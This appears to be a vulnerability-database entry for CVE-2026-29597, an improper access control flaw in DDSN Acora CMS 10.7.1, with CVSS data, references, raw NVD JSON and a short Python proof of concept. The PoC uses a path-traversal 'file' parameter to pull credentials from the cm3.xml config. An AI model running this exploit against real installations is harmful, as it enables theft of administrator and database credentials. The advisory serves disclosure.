CVE-2026-29597

Description

DDSN Interactive cm3 Acora CMS version 10.7.1 contains an improper access control vulnerability. An editor-privileged user can access sensitive configuration files by force browsing the “/Admin/file_manager/file_details.asp” endpoint and manipulating the “file” parameter. By referencing specific files (e.g., cm3.xml), the attacker can retrieve system administrator credentials, SMTP settings, database credentials, and other confidential information. The exposure of this information can lead to full administrative access to the CMS, unauthorized access to email services, compromise of backend databases, lateral movement within the network, and long-term persistence by an attacker. This access control bypass poses a critical risk of account takeover, privilege escalation, and systemic compromise of the affected application and its associated infrastructure.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

DDSN Interactive cm3 Acora CMS 10.7.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target_url = "http://example.com/Admin/file_manager/file_details.asp"
# Vulnerable parameter 'file' used to read sensitive config
params = {
    "file": "../../cm3.xml" 
}

# Attacker needs a valid session (Editor privileges)
cookies = {
    "SessionID": "valid_editor_session_id"
}

response = requests.get(target_url, params=params, cookies=cookies)

if response.status_code == 200 and "admin" in response.text:
    print("[+] Vulnerability Exploited Successfully!")
    print("[+] Sensitive Data Found:")
    print(response.text)
else:
    print("[-] Exploit Failed or Patched")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29597
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29597
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29597/
[4] VulDB https://vuldb.com/cve/CVE-2026-29597
[5] http://acora.com
[6] http://ddsn.com
[7] https://github.com/padayali-JD/CVE-2026-29597

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29597", "sourceIdentifier": "[email protected]", "published": "2026-03-30T16:16:04.310", "lastModified": "2026-04-03T16:16:36.630", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "DDSN Interactive cm3 Acora CMS version 10.7.1 contains an improper access control vulnerability. An editor-privileged user can access sensitive configuration files by force browsing the “/Admin/file_manager/file_details.asp” endpoint and manipulating the “file” parameter. By referencing specific files (e.g., cm3.xml), the attacker can retrieve system administrator credentials, SMTP settings, database credentials, and other confidential information. The exposure of this information can lead to full administrative access to the CMS, unauthorized access to email services, compromise of backend databases, lateral movement within the network, and long-term persistence by an attacker. This access control bypass poses a critical risk of account takeover, privilege escalation, and systemic compromise of the affected application and its associated infrastructure."}, {"lang": "es", "value": "Control de acceso incorrecto en el endpoint file_details.asp de DDSN Interactive Acora CMS v10.7.1 permite a atacantes con privilegios de editor acceder a archivos sensibles mediante solicitudes manipuladas."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "http://acora.com", "source": "[email protected]"}, {"url": "http://ddsn.com", "source": "[email protected]"}, {"url": "https://github.com/padayali-JD/CVE-2026-29597", "source": "[email protected]"}]}}